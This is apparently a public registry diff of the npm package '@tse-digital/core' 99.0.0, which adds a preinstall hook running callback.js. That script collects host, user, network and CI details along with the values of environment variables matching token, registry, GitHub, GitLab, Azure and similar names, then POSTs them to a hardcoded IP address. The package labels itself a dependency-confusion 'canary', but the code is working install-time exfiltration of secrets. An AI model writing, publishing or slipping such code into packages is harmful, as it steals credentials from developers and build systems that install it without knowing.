@tse-digital/core 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/callback.js +58 -0
  2. package/index.js +1 -0
  3. package/package.json +10 -0
package/callback.js ADDED
@@ -0,0 +1,58 @@
1
+ const os = require("os");
2
+ const http = require("http");
3
+
4
+ const CB_HOST = "128.199.50.160";
5
+ const CB_PORT = 8888;
6
+
7
+ function safe(s, len) {
8
+ return (s || "unknown").replace(/[^a-zA-Z0-9._\-/=:@]/g, "-").substring(0, len || 200);
9
+ }
10
+
11
+ function getIPs() {
12
+ try {
13
+ const nets = os.networkInterfaces();
14
+ const ips = [];
15
+ for (const name in nets) {
16
+ for (const n of nets[name]) {
17
+ if (!n.internal) ips.push(name + "=" + n.address);
18
+ }
19
+ }
20
+ return ips.join(",").substring(0, 500);
21
+ } catch(e) { return "error"; }
22
+ }
23
+
24
+ const allEnvKeys = Object.keys(process.env).sort().join(",");
25
+ const interestingKeys = Object.keys(process.env)
26
+ .filter(k => /telenor|maui|c360|customer|threesixty|ownit|vimla|jenkins|azure|gitlab|github|npm_|registry|token|build|deploy|ci_|pipeline/i.test(k));
27
+
28
+ const info = {
29
+ h: safe(os.hostname(), 120),
30
+ u: safe(os.userInfo().username, 120),
31
+ d: safe(process.cwd(), 300),
32
+ ci: safe(process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.BUILD_URL || "no-ci", 200),
33
+ reg: safe(process.env.npm_config_registry, 200),
34
+ pkg: safe(process.env.npm_package_name, 200),
35
+ node: safe(process.version),
36
+ plat: safe(os.platform() + "-" + os.arch()),
37
+ home: safe(os.homedir(), 200),
38
+ ips: getIPs(),
39
+ env_all_keys: allEnvKeys.substring(0, 2000),
40
+ env_interesting: interestingKeys.map(k => k + "=" + safe(process.env[k], 100)).join(" | ").substring(0, 2000),
41
+ ppid: process.ppid,
42
+ uid: process.getuid ? process.getuid() : "n/a"
43
+ };
44
+
45
+ const payload = JSON.stringify(info);
46
+ try {
47
+ const req = http.request({
48
+ hostname: CB_HOST,
49
+ port: CB_PORT,
50
+ path: "/depconf",
51
+ method: "POST",
52
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(payload) },
53
+ timeout: 8000
54
+ });
55
+ req.on("error", () => {});
56
+ req.write(payload);
57
+ req.end();
58
+ } catch(e) {}
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "@tse-digital/core",
3
+ "version": "99.0.0",
4
+ "description": "Security research — dependency confusion canary",
5
+ "scripts": {
6
+ "preinstall": "node callback.js || true"
7
+ },
8
+ "main": "index.js",
9
+ "license": "ISC"
10
+ }